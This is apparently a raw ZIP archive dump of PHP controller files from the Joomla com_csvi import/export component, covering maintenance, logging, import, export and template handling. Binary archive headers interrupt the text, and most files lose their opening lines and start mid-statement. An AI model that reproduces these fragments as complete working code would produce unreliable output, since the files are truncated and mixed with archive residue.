$this->getView('maintenance', 'html'); // Standard model $view->setModel( $this->getModel( 'maintenance', 'CsviModel' ), true ); // Extra models $view->setModel( $this->getModel( 'log', 'CsviModel' )); // View $view->setLayout('cron'); // Now display the view $view->display(); } /** * Update available fields * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function updateAvailableFields() { // Prepare $jinput = JFactory::getApplication()->input; $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Check if we are running a cron job if ($jinput->get('cron', false, 'bool')) { // Pre-configuration $available_fields = $this->getModel('availablefields', 'CsviModel'); $available_fields->prepareAvailableFields(); // Update the available fields $available_fields->getFillAvailableFields(); // Finish $model->getFinishProcess(); // Redirect $this->_outputCron(); } else { // Create the view object $view = $this->getView('maintenance', 'json'); // Pre-configuration $available_fields = $this->getModel('availablefields', 'CsviModel'); $available_fields->prepareAvailableFields(); // View $view->setLayout('availablefields'); // Now display the view $view->display(); } } /** * Update available fields in steps * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function updateAvailableFieldsSingle() { // Create the view object $view = $this->getView('maintenance', 'json'); // View $view->setLayout('availablefields'); // Load the model $view->setModel($this->getModel('maintenance', 'CsviModel'), true); $view->setModel($this->getModel('availablefields', 'CsviModel')); // Now display the view $view->display(); } /** * Install sample templates * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function installDefaultTemplates() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getInstallDefaultTemplates(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Sort categories * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function sortCategories() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getSortCategories(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Remove empty categories * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function removeEmptyCategories() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getRemoveEmptyCategories(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Load the exchange rates * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function exchangeRates() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getExchangeRates(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Clean the cache folder * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function cleanTemp() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getCleanTemp(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Backup the CSVI VirtueMart templates * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function backupTemplates() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getBackupTemplates(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Restore the CSVI VirtueMart templates * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function restoreTemplates() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getRestoreTemplates(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Load the ICEcat index files * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function icecatIndex() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Check if we are running a cron job if (JRequest::getBool('cron', false)) { JRequest::setVar('loadtype', false); } // Perform the task $result = $model->getIcecatIndex(); // See if we need to do the staggered import of the index file switch ($result) { case 'full': // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); break; case 'single': // Create the view object $view = $this->getView('maintenance', 'json'); // View $view->setLayout('icecat'); // Now display the view $view->display(); break; case 'cancel': // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); break; } } /** * Empty the VirtueMart tables * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function icecatSingle() { // Create the view object $view = $this->getView('maintenance', 'json'); // View $view->setLayout('icecat'); // Load the model $view->setModel($this->getModel('maintenance', 'CsviModel'), true); $view->setModel($this->getModel( 'log', 'CsviModel' )); // Now display the view $view->display(); } /** * Optimize the database tables * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function optimizeTables() { // Prepare $jinput = JFactory::getApplication()->input; $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getOptimizeTables(); // Finish $model->getFinishProcess(); // Redirect if (!$jinput->get('cron', false, 'bool')) $this->_outputHtml(); else $this->_outputCron(); } /** * Backup the VirtueMart tables * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function backupVm() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getBackupVirtueMart(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Empty the VirtueMart tables * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function emptyDatabase() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getEmptyDatabase(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Unpublish products in unpublished categories * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.5 */ public function unpublishProductByCategory() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->getUnpublishProductByCategory(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } /** * Cancel the loading of the ICEcat index * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function cancelImport() { // Clean the session $session = JFactory::getSession(); $option = JRequest::getVar('option'); $session->set($option.'.icecat_index_file', serialize('0')); $session->set($option.'.icecat_rows', serialize('0')); $session->set($option.'.icecat_position', serialize('0')); $session->set($option.'.icecat_records', serialize('0')); $session->set($option.'.icecat_wait', serialize('0')); // Redirect back to the maintenance page $this->setRedirect('index.php?option='.JRequest::getCmd('option').'&view=maintenance'); } /** * Delete all CSVI VirtueMart backup tables * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.5 */ public function removeCsviTables() { // Prepare $model = $this->getModel('maintenance'); $model->getPrepareMaintenance(); // Perform the task $model->removeCsviTables(); // Finish $model->getFinishProcess(); // Redirect if (!JRequest::getBool('cron', false)) $this->_outputHtml(); else $this->_outputCron(); } } ?> PK@y>\2&&.components/com_csvi/controllers/logdetails.phpnuW+Ainput; // Check if the run ID is set $run_id = $jinput->get('run_id', array(), 'array'); // Get the first Run ID only $run_id = $run_id[0]; if ($run_id > 0) { $jinput->set('run_id', $run_id); // Create the view object $view = $this->getView('logdetails', 'html'); // Standard model $view->setModel( $this->getModel( 'logdetails', 'CsviModel' ), true ); // Log functions $view->setModel( $this->getModel( 'log', 'CsviModel' )); // Now display the view $view->display(); } else { $this->setRedirect('index.php?option=com_csvi&view=log', JText::_('COM_CSVI_NO_RUNID_FOUND'), 'error'); } } /** * Cancel the operation and return to the log view * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function cancel() { $this->setRedirect('index.php?option=com_csvi&view=log'); } } ?> PK@y>\ z0components/com_csvi/controllers/install.json.phpnuW+AgetView('install', 'json'); // Standard model $view->setModel( $this->getModel( 'install', 'CsviModel' ), true ); $view->setModel( $this->getModel( 'availablefields', 'CsviModel' )); $view->setModel( $this->getModel( 'maintenance', 'CsviModel' )); $view->display(); } } ?> PK@y>\#`h::0components/com_csvi/controllers/templatetype.phpnuW+A false)); return $model; } } ?>PK@y>\ȔO7  'components/com_csvi/controllers/log.phpnuW+AregisterTask('remove_all','remove'); } /** * Cancel the operation * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.5 */ public function cancel() { $this->setRedirect('index.php?option=com_csvi&view=log'); } /** * Download a debug log file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function downloadDebug() { $log = $this->getModel('log', 'CsviModel'); $log->downloadDebug(); } /** * Read a logfile from disk and show it in a popup * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function LogReader() { $jinput = JFactory::getApplication()->input; $jinput->set('view', 'log'); $jinput->set('layout', 'logreader'); $jinput->set('hidemainmenu', 1); parent::display(); } /** * Delete log files * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function remove() { $jinput = JFactory::getApplication()->input; $model = $this->getModel('log'); switch ($this->getTask()) { case 'remove': $results = $model->getDelete(); break; case 'remove_all': $results = $model->getDeleteAll(); break; } foreach ($results as $type => $messages) { foreach ($messages as $msg) { if ($type == 'ok') $this->setMessage($msg); else if ($type == 'nok') $this->setMessage($msg, 'error'); } } $this->setRedirect('index.php?option=com_csvi&view=log'); } } ?> PK@y>\r  *components/com_csvi/controllers/export.phpnuW+AregisterTask('getUser','getData'); $this->registerTask('getProduct','getData'); $this->registerTask('getItemProduct','getData'); $this->registerTask('loadfields','getData'); $this->registerTask('loadtables','getData'); $this->registerTask('loadsites','getData'); } /** * Show the export option screen * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function Export() { $jinput = JFactory::getApplication()->input; // Create the view object $view = $this->getView('export', $jinput->get('format', 'html')); // Standard model $view->setModel( $this->getModel( 'export', 'CsviModel' ), true ); $view->setModel( $this->getModel( 'templates', 'CsviModel' )); $view->setModel( $this->getModel( 'availablefields', 'CsviModel' )); // Now display the view $view->display(); } /** * Retrieve different kinds of data in JSON format * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getData() { // Create the view object $view = $this->getView('export', 'json'); // Standard model $view->setModel( $this->getModel( 'export', 'CsviModel' ), true ); $view->setModel( $this->getModel( 'availablefields', 'CsviModel' )); $view->setLayout('export'); // Now display the view $view->display(); } } ?> PK@y>\Md4components/com_csvi/controllers/maintenance.json.phpnuW+AgetView('maintenance', 'json'); // View $view->setLayout('availablefields'); // Load the model $view->setModel($this->getModel('maintenance', 'CsviModel'), true); $view->setModel($this->getModel( 'availablefields', 'CsviModel' )); // Now display the view $view->display(); } } ?> PK@y>\ /_  3components/com_csvi/controllers/maintenance.raw.phpnuW+AregisterTask('sortcategories', 'options'); $this->registerTask('icecatsettings', 'options'); } /** * Load the ICEcat settings * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function options() { // Create the view object $view = $this->getView('maintenance', 'raw'); // Load the model $view->setModel($this->getModel('maintenance', 'CsviModel'), true); // Now display the view $view->display(); } /** * Load the operations * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function operations() { $model = $this->getModel(); $options = $model->getOperations(); echo $options; } } ?> PK@y>\  +components/com_csvi/controllers/process.phpnuW+AregisterTask('saveasnew','save'); } /** * Save a template * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return void * @since 3.0 */ public function save() { // Check for request forgeries JRequest::checkToken() or jexit( 'Invalid Token' ); $jinput = JFactory::getApplication()->input; $model = $this->getModel('templates'); // Store the form fields $app = JFactory::getApplication(); $data = $jinput->get('jform', array(), 'array'); // Re-order the import fields if (array_key_exists('import_fields', $data)) { $fields = array(); foreach ($data['import_fields']['_process_field'] as $field) { $fields[] = $field; } $data['import_fields']['_process_field'] = $fields; // Combine field $fields = array(); foreach ($data['import_fields']['_combine_field'] as $field) { $fields[] = $field; } $data['import_fields']['_combine_field'] = $fields; } // Re-order the export fields else if (array_key_exists('export_fields', $data)) { // Process field $fields = array(); foreach ($data['export_fields']['_process_field'] as $field) { $fields[] = $field; } $data['export_fields']['_process_field'] = $fields; // Combine field $fields = array(); foreach ($data['export_fields']['_combine_field'] as $field) { $fields[] = $field; } $data['export_fields']['_combine_field'] = $fields; // Sort field $fields = array(); foreach ($data['export_fields']['_sort_field'] as $field) { $fields[] = $field; } $data['export_fields']['_sort_field'] = $fields; // Replace field $fields = array(); foreach ($data['export_fields']['_replace_field'] as $field) { $fields[] = $field; } $data['export_fields']['_replace_field'] = $fields; } // Save the data $id = $model->save($data); // Redirect back to the export page $this->setRedirect(JRoute::_('index.php?option=com_csvi&view=process&template_id='.$id, false)); } /** * Remove a template * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return void * @since 3.0 */ public function remove() { // Check for request forgeries JRequest::checkToken() or jexit( 'Invalid Token' ); $model = $this->getModel('templates'); // Save the data $model->remove(); // Redirect back to the export page $this->setRedirect(JRoute::_('index.php?option=com_csvi&view=process', false)); } /** * Import is all finished, show the results page * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function finished() { // Create the view object $view = $this->getView('process', 'result'); // Standard model $view->setModel( $this->getModel( 'process', 'CsviModel' ), true ); // Log functions $view->setModel( $this->getModel( 'log', 'CsviModel' )); // Set the layout file $view->setLayout('import_result'); // Now display the view $view->display(); } /** * Cancel a running import * * @copyright * @author RolandD * @todo Figure out the session vars * @see * @access public * @param * @return * @since 3.0 */ public function cancelImport() { $jinput = JFactory::getApplication()->input; if ($jinput->get('was_preview', false, 'bool')) { $this->setRedirect('index.php?option=com_csvi&view=import', JText::_('COM_CSVI_IMPORT_CANCELLED'), 'notice'); } else { // Load the data from the session $session = JFactory::getSession(); $option = $jinput->get('option'); // The template require_once(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/template.php'); $template = unserialize($session->get($option.'.global.template')); $csvilog = unserialize($session->get($option.'.csvilog')); if (is_object($template)) { // Enable the session $jinput->set('importsession', true); // Set the template $jinput->set('template', $template); // The logger $jinput->set('csvilog', $csvilog); // Set the file handler $jinput->set('csvifile', unserialize($session->get($option.'.csvifile'))); // Load the total line counter $jinput->set('totalline', unserialize($session->get($option.'.totalline'))); // Load the total of records processed $jinput->set('recordsprocessed', unserialize($session->get($option.'.recordsprocessed'))); // Load the field settings $jinput->set('csvifields', unserialize($session->get($option.'.csvifields'))); // Load the column headers $jinput->set('columnheaders', unserialize($session->get($option.'.csvicolumnheaders'))); // Load the preview handler $jinput->set('csvipreview', unserialize($session->get($option.'.csvipreview'))); // Finish the process $model = $this->getModel('importfile'); $model->finishProcess(true); // Store the import as cancelled $db = JFactory::getDbo(); // Get the records processed $query = $db->getQuery(true); $query->select('COUNT(id) AS records'); $query->from('#__csvi_log_details'); $query->where('log_id = '.$csvilog->getLogId()); $db->setQuery($query); $records = $db->loadResult(); // Store the data $query = $db->getQuery(true); $query->update('#__csvi_logs'); $query->set('records = '.$records); $query->set('run_cancelled = 1'); $query->where('run_id = '.$csvilog->getId()); $db->setQuery($query); $db->query(); // Return to the import result screen $this->setRedirect('index.php?option=com_csvi&task=process.finished&run_id='.$csvilog->getId(), JText::_('COM_CSVI_IMPORT_CANCELLED'), 'notice'); } else { // Return to the import result screen $this->setRedirect('index.php?option=com_csvi&view=process', JText::_('COM_CSVI_IMPORT_CANCELLED'), 'notice'); } } } } ?> PK@y>\))components/com_csvi/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\`3components/com_csvi/controllers/availablefields.phpnuW+A PK@y>\R·0components/com_csvi/controllers/replacements.phpnuW+A true)); return $model; } } ?> PK@y>\-c  )components/com_csvi/controllers/about.phpnuW+A\0 __,components/com_csvi/controllers/settings.phpnuW+AgetModel('settings'); if ($model->getResetSettings()) { $msg = JText::_('COM_CSVI_SETTINGS_RESET_SUCCESSFULLY'); $msgtype = ''; } else { $msg = JText::_('COM_CSVI_SETTINGS_NOT_RESET_SUCCESSFULLY'); $msgtype = 'error'; } $this->setRedirect('index.php?option=com_csvi&view=settings', $msg, $msgtype); } } ?> PK@y>\*components/com_csvi/controllers/index.htmlnuW+APK@y>\!Pή(components/com_csvi/controllers/cron.phpnuW+Ainput; $data = $jinput->post->get('jform', array(), 'array'); $jinput->set('com_csvi.data', $data); // Create the view object $view = $this->getView('cron', 'html'); // Standard model $view->setModel( $this->getModel( 'cron', 'CsviModel' ), true ); // Now display the view $view->display(); } } ?> PK@y>\VWW(components/com_csvi/controllers/csvi.phpnuW+A PK@y>\K] .components/com_csvi/controllers/exportfile.phpnuW+Ainput; $view = $this->getView('exportfile', 'html'); // Default model $view->setModel( $this->getModel('exportfile', 'CsviModel' ), true ); // Log functions $view->setModel( $this->getModel('log', 'CsviModel' )); // Settings functions $view->setModel( $this->getModel('settings', 'CsviModel' )); // General import functions $view->setModel( $this->getModel('export', 'CsviModel' )); // General category functions $view->setModel( $this->getModel('category', 'CsviModel' )); // Available fields $view->setModel( $this->getModel('availablefields', 'CsviModel' )); // Load the model $model = $this->getModel('exportfile'); // Add extra helper paths $view->addHelperPath(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/xml'); $view->addHelperPath(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/html'); // Load the helper classes $view->loadHelper('csvidb'); $view->loadHelper('template'); $view->loadHelper('csvisef'); // Prepare for export if ($model->getPrepareExport()) { // Set the export override $app = JFactory::getApplication(); $template = $jinput->get('template', null, null); $overridefile = JPATH_BASE.'/templates/'.$app->getTemplate().'/html/com_csvi/models/export/'.$template->get('operation', 'options').'.php'; // Add the export model path if override exists if (file_exists($overridefile)) $this->addModelPath(JPATH_BASE.'/templates/'.$app->getTemplate().'/html/com_csvi/models/'.$template->get('component', 'options').'/export'); else $this->addModelPath(JPATH_COMPONENT_ADMINISTRATOR.'/models/'.$template->get('component', 'options').'/export'); // Load export specifc helper $view->loadHelper($template->get('component', 'options')); $view->loadHelper($template->get('component', 'options').'_config'); // Start the export $view->display(); } else { // Clean up first $model->getCleanSession(); // Redirect back to the export page $this->setRedirect('index.php?option=com_csvi&view=process', JText::_('COM_CSVI_ERROR_EXPORT_PREP'), 'error'); } } } ?>PK@y>\}i@@/components/com_csvi/controllers/replacement.phpnuW+A false)); return $model; } } ?>PK@y>\D\, , .components/com_csvi/controllers/importfile.phpnuW+A importFile * 2. models/importfile.php -> prepareImport (sets session values) * 3. views/importfile/view.html.php -> display * 4. views/importfile/tmpl/default.php JS calls import * 5. controllers/importfile.json.php -> doImport * 6. models/importfile.php -> getDoImport (sets session values) * 7. views/importfile/view.json.php -> return result * * @package CSVI */ class CsviControllerImportfile extends JController { /** * Load import model files * * Here the models are loaded that are used for import. Special is the * import model file as this is included based on the template type * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function process() { $jinput = JFactory::getApplication()->input; // Load the import type $vtype = ($jinput->get('cron', false, 'bool')) ? 'cron' : 'html'; if ($vtype == 'html') { // Check for request forgeries JRequest::checkToken() or jexit( 'Invalid Token' ); } // Set the start time of the import $session = JFactory::getSession(); $option = $jinput->get('option'); $session->set($option.'.runtime', time()); // Start with a clean session $session->set($option.'.select_template', serialize($jinput->get('select_template', 0, 'int'))); $session->set($option.'.global.template', serialize('0')); $session->set($option.'.csvicolumnheaders', serialize('0')); $session->set($option.'.csvifields', serialize('0')); $session->set($option.'.csvifile', serialize('0')); $session->set($option.'.csvilog', serialize('0')); $session->set($option.'.filepos', serialize('0')); $session->set($option.'.recordsprocessed', serialize('0')); $session->set($option.'.totalline', serialize('0')); $model = $this->getModel('templates'); // Create the view object $view = $this->getView('importfile', $vtype); // Load the model $view->setModel( $this->getModel( 'importfile', 'CsviModel' ), true ); // Log functions $view->setModel( $this->getModel( 'log', 'CsviModel' )); // Load the model $model = $this->getModel('importfile'); // Check which helper files to include $helper_files = $model->getHelperFiles(); if (!$helper_files) { if (!JRequest::getBool('cron', false)) { // Redirect back to the import page $this->setRedirect('index.php?option=com_csvi&view=process', JText::_('COM_CSVI_ERROR_IMPORT_FILE'), 'error'); } else { echo JText::_('COM_CSVI_ERROR_IMPORT_FILE')."\n"; $view->setLayout('cron'); } } else { // Load helper files $view->addHelperPath(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/file/import'); $view->loadHelper('file'); $view->loadHelper('template'); if (!empty($helper_files)) { foreach ($helper_files as $helper) { $view->loadHelper($helper); } } // Prepare for import if ($model->getPrepareImport()) { // Start the import switch ($vtype) { case 'cron': $view->setLayout('cron'); return true; break; default: break; } // Show the screen $view->display(); } else { // Clean up $model->getCleanSession(); switch ($vtype) { case 'cron': $jinput->set('error', true); $view->setLayout('cron'); $view->display(); break; default: // Redirect back to the import page $this->setRedirect('index.php?option=com_csvi&view=process', JText::_('COM_CSVI_ERROR_IMPORT_FILE'), 'error'); break; } } } } /** * Import records called via JavaScript * * @copyright * @author RolandD * @todo remove global from session vars * @todo * @see prepareImport (models/importfile) where the session data is set * @see _finishProcess (models/importfile) where the session data is unset * @access public * @param * @return * @since 3.0 */ public function doImport() { // Process first $this->process(); // Start the import $jinput = JFactory::getApplication()->input; // Create the view object $vtype = ($jinput->get('cron', false, 'bool')) ? 'cron' : 'json'; $view = $this->getView('importfile', $vtype); // Load the data from the session $session = JFactory::getSession(); $option = $jinput->get('option'); // Set the run ID $jinput->set('run_id', $session->get($option.'.run_id')); // Check which helper files to include $helper_files = unserialize($session->get($option.'.helper_files')); // Load helper files $view->addHelperPath(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/file/import'); $view->loadHelper('file'); $view->loadHelper('template'); $view->loadHelper('icecat'); $view->loadHelper('settings'); if (!empty($helper_files)) { foreach ($helper_files as $helper) { $view->loadHelper($helper); } } // The template $template = unserialize($session->get($option.'.global.template')); if (is_object($template)) { // Enable the session $jinput->set('importsession', true); // Set the template $jinput->set('template', $template); // The logger $jinput->set('csvilog', unserialize($session->get($option.'.csvilog'))); // Set the file handler $jinput->set('csvifile', unserialize($session->get($option.'.csvifile'))); // Load the total line counter $jinput->set('totalline', unserialize($session->get($option.'.totalline'))); // Load the total of records processed $jinput->set('recordsprocessed', unserialize($session->get($option.'.recordsprocessed'))); // Set the fields found in the import file $jinput->set('csvifields', unserialize($session->get($option.'.csvifields'))); // Set the list of available fields $jinput->set('avfields', unserialize($session->get($option.'.avfields'))); // Load the column headers $jinput->set('columnheaders', unserialize($session->get($option.'.csvicolumnheaders'))); // Load the preview handler $jinput->set('csvipreview', unserialize($session->get($option.'.csvipreview'))); // Set the override for the operation model if exists $app = JFactory::getApplication(); $overridefile = JPATH_BASE.'/templates/'.$app->getTemplate().'/html/com_csvi/models/'.$template->get('component', 'options').'/import/'.$template->get('operation', 'options').'.php'; if (file_exists($overridefile)) $this->addModelPath(JPATH_BASE.'/templates/'.$app->getTemplate().'/html/com_csvi/models/'.$template->get('component', 'options').'/import'); else $this->addModelPath(JPATH_COMPONENT_ADMINISTRATOR.'/models/'.$template->get('component', 'options').'/import'); // Load the model for the component $view->setModel($this->getModel('importfile', 'CsviModel'), true); // Log functions $view->setModel($this->getModel('log', 'CsviModel')); // General category functions $view->setModel($this->getModel('category', 'CsviModel')); // Available fields $view->setModel($this->getModel('availablefields', 'CsviModel')); // Load import specifc helper $view->loadHelper($template->get('component', 'options')); $view->loadHelper($template->get('component', 'options').'_config'); // Prepare for import $view->get('DoImport'); } else { $jinput->set('importsession', false); } // Set the output screen switch ($vtype) { case 'cron': $view->setLayout('cron'); break; default: break; } // Show the screen $view->display(); } } ?> PK@y>\7,,+components/com_csvi/controllers/install.phpnuW+A PK@y>\1components/com_csvi/controllers/templatetypes.phpnuW+A PK@y>\Ӽnzz-components/com_csvi/controllers/about.raw.phpnuW+AgetModel(); echo json_encode($model->createFolder()); } } ?> PK@y>\]?-6components/com_csvi/controllers/templatetypes.json.phpnuW+Ainput; $model = $this->getModel('templatetypes'); $action = $jinput->get('action'); $component = $jinput->get('component'); echo json_encode($model->loadTemplateTypes($action, $component)); } public function loadSettings() { $jinput = JFactory::getApplication()->input; $model = $this->getModel('templatetypes'); $action = $jinput->get('action'); $component = $jinput->get('component'); $operation = $jinput->get('operation'); echo $model->loadSettings($action, $component, $operation); } } ?> PK@y>\+}mm3components/com_csvi/controllers/importfile.json.phpnuW+A importFile * 2. models/importfile.php -> prepareImport (sets session values) * 3. views/importfile/view.html.php -> display * 4. views/importfile/tmpl/default.php JS calls import * 5. controllers/importfile.php -> doImport * 6. models/importfile.php -> getDoImport (sets session values) * 7. views/importfile/view.json.php -> return result * * @package CSVI */ class CsviControllerImportfile extends JController { /** * Import records called via JavaScript * * @copyright * @author RolandD * @todo remove global from session vars * @todo * @see prepareImport (models/importfile) where the session data is set * @see _finishProcess (models/importfile) where the session data is unset * @access public * @param * @return * @since 3.0 */ public function doImport() { $jinput = JFactory::getApplication()->input; // Create the view object $vtype = ($jinput->get('cron', false, 'bool')) ? 'cron' : 'json'; $view = $this->getView('importfile', $vtype); // Load the data from the session $session = JFactory::getSession(); $option = $jinput->get('option'); // Set the run ID $jinput->set('run_id', $session->get($option.'.run_id')); // Check which helper files to include $helper_files = unserialize($session->get($option.'.helper_files')); // Load helper files $view->addHelperPath(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/file/import'); $view->loadHelper('file'); $view->loadHelper('template'); $view->loadHelper('icecat'); $view->loadHelper('settings'); if (!empty($helper_files)) { foreach ($helper_files as $helper) { $view->loadHelper($helper); } } // The template $template = unserialize($session->get($option.'.global.template')); if (is_object($template)) { // Enable the session $jinput->set('importsession', true); // Set the template $jinput->set('template', $template); // The logger $jinput->set('csvilog', unserialize($session->get($option.'.csvilog'))); // Set the file handler $jinput->set('csvifile', unserialize($session->get($option.'.csvifile'))); // Load the total line counter $jinput->set('totalline', unserialize($session->get($option.'.totalline'))); // Load the total of records processed $jinput->set('recordsprocessed', unserialize($session->get($option.'.recordsprocessed'))); // Set the fields found in the import file $jinput->set('csvifields', unserialize($session->get($option.'.csvifields'))); // Set the list of available fields $jinput->set('avfields', unserialize($session->get($option.'.avfields'))); // Load the column headers $jinput->set('columnheaders', unserialize($session->get($option.'.csvicolumnheaders'))); // Load the preview handler $jinput->set('csvipreview', unserialize($session->get($option.'.csvipreview'))); // Set the override for the operation model if exists $app = JFactory::getApplication(); $overridefile = JPATH_BASE.'/templates/'.$app->getTemplate().'/html/com_csvi/models/'.$template->get('component', 'options').'/import/'.$template->get('operation', 'options').'.php'; if (file_exists($overridefile)) $this->addModelPath(JPATH_BASE.'/templates/'.$app->getTemplate().'/html/com_csvi/models/'.$template->get('component', 'options').'/import'); else $this->addModelPath(JPATH_COMPONENT_ADMINISTRATOR.'/models/'.$template->get('component', 'options').'/import'); // Load the model for the component $view->setModel($this->getModel('importfile', 'CsviModel'), true); // Log functions $view->setModel($this->getModel('log', 'CsviModel')); // General category functions $view->setModel($this->getModel('category', 'CsviModel')); // Available fields $view->setModel($this->getModel('availablefields', 'CsviModel')); // Load import specifc helper $view->loadHelper($template->get('component', 'options')); $view->loadHelper($template->get('component', 'options').'_config'); // Prepare for import $view->get('DoImport'); } else { $jinput->set('importsession', false); } // Set the output screen switch ($vtype) { case 'cron': $view->setLayout('cron'); break; default: break; } // Show the screen $view->display(); } } ?> PK@y>\b0components/com_csvi/controllers/process.json.phpnuW+Ainput; // Load the appropiate helper file $component = $jinput->get('component'); $users = array(); if ($component) { require_once(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/'.$component.'.php'); $helper = new $component; $users = $helper->getOrderUser(); } echo json_encode($users); } /** * Method Description * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string json encoded values * @since 4.0 */ public function getProduct() { $jinput = JFactory::getApplication()->input; // Load the appropiate helper file $component = $jinput->get('component'); $users = array(); if ($component) { require_once(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/'.$component.'.php'); $helper = new $component; $products = $helper->getOrderProduct(); } echo json_encode($products); } /** * Method Description * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string json encoded values * @since 4.0 */ public function getItemProduct() { $jinput = JFactory::getApplication()->input; // Load the appropiate helper file $component = $jinput->get('component'); $users = array(); if ($component) { require_once(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/'.$component.'.php'); $helper = new $component; $products = $helper->getOrderItemProduct(); } echo json_encode($products); } /** * Load the available sites for XML or HTML export * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function loadSites() { $jinput = JFactory::getApplication()->input; $model = $this->getModel('process'); $options = array(); $options[] = JHtml::_('select.option', '', JText::_('COM_CSVI_CHOOSE_WEBSITE')); $sites = $model->getExportSites($jinput->get('exportsite')); foreach ($sites as $site) { $options[] = JHtml::_('select.option', $site, JText::_('COM_CSVI_'.strtoupper($site))); } echo json_encode(JHtml::_('select.genericlist', $options, 'jform[general][export_site]', null, 'value', 'text', $jinput->get('selected'), 'jform_general_export_site')); } /** * Load fields for the custom import/export * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function loadFields() { $jinput = JFactory::getApplication()->input; $availablefields_model = $this->getModel('availablefields'); $result = $availablefields_model->getAvailableFields($jinput->get('template_type'), $jinput->get('component', 'com_csvi'), 'array', $jinput->get('table_name', '', 'word')); echo json_encode($result); } /** * Load the category tree * 